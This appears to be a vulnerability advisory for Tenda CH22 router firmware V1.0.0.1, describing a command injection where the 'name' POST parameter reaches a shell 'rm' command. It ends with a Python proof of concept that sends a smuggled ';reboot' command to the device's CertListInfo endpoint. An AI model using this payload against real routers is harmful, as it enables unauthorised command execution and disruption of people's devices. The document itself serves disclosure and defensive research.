Overview

Affected version

CH22 V1.0.0.1

Vulnerability details

The Tenda CH22 V1.0.0.1 firmware has a command injection vulnerability in the formCertListInfo function. The v12 variable receives the name parameter from a POST request and is later passed to the sub_517E8 function.

image.png

In function sub_517E8, the variable v12 is directly assigned to system by doSystemCmd . However, since the Since user can control the input of v12, the statemeant doSystemCmd("rm /etc/cert/%s.key 2> /dev/null", a1); can cause a command injection.

image.png

PoC

import requests

ip = "192.168.1.1"

url = f'http://{ip}/goform/CertListInfo'
payload = '；reboot'

data = {
    "action": "delete",
    "who": "server",
    "name": payload      
}

requests.post(url, data=data)

image.png